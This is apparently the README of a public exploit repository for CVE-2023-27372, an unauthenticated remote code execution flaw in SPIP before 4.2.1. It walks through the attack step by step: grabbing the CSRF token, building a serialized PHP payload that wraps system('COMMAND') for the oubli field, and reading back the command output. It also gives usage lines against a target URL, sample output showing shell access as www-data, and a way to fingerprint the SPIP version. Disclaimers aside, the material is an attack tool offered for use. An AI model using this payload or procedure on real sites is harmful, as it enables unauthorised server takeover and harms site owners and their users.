CVE-2023-27372 Exploit

Exploit for CVE-2023-27372, an unauthenticated Remote Code Execution vulnerability in the SPIP CMS affecting versions prior to 4.2.1.

⚠️ For educational purposes only. Use exclusively on systems you own or have explicit written permission to test. Unauthorized use is illegal.

Overview

SPIP is an open-source CMS widely used for web publishing. This vulnerability exists in the password recovery form (/spip.php?page=spip_pass), where the oubli parameter is processed without proper sanitization, allowing an attacker to inject and execute arbitrary PHP code on the server — with no authentication required.

How It Works

1. Fetch CSRF token — A GET request is made to /spip.php?page=spip_pass to extract the formulaire_action_args token from the HTML form.

2. Build the payload — A PHP serialized string is crafted with the command to execute:

   root@kitploit:~

   s:N:"<?php system('COMMAND'); ?>";
   

   Where N is the exact byte length of the inner PHP string.

3. Send the payload — A POST request is made with the crafted payload in the oubli field alongside the CSRF token. SPIP processes this field without sanitization and executes the injected PHP code.

4. Extract the output — The command output is returned inside the HTML response and parsed from the value attribute of the oubli input field.

Requirements

• Python 3.x
• requests
• beautifulsoup4
• argparse
• regex

Installation

git clone https://github.com/scriniarii/CVE-2023-27372

cd CVE-2023-27372

pip install requests beautifulsoup4

Usage

python3 exploit.py -u <URL> -c <command>

Example

python3 exploit.py -u http://TARGET/ -c "id"

python3 exploit.py -u http://TARGET/ -s

Expected output:

[+] Token found : JWDCxt5PTFzhPb...
 
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Affected Versions

To check the SPIP version of a target, look for the meta generator tag in the HTML:

<meta name="generator" content="SPIP 4.2.0" />

[!CAUTION]
⚠️ Disclaimer
Please use the information and exploits provided in my repositories for educational purposes and responsible disclosure only. I am not responsible for any misuse or damage caused by using these tools, scripts or exploits.